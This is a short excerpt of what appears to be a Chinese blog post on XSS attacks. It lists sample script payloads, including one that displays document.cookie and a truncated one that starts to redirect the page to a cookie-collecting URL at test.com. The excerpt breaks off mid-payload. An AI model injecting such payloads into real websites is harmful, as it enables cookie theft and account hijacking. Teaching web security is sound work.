摘要： XSS攻击 点击查看代码 <script>alert('xss')</script> <script>alert(document.cookie)</script> #显示出cookie信息 <script>document.location='http://www.test.com/cookie. 阅读全文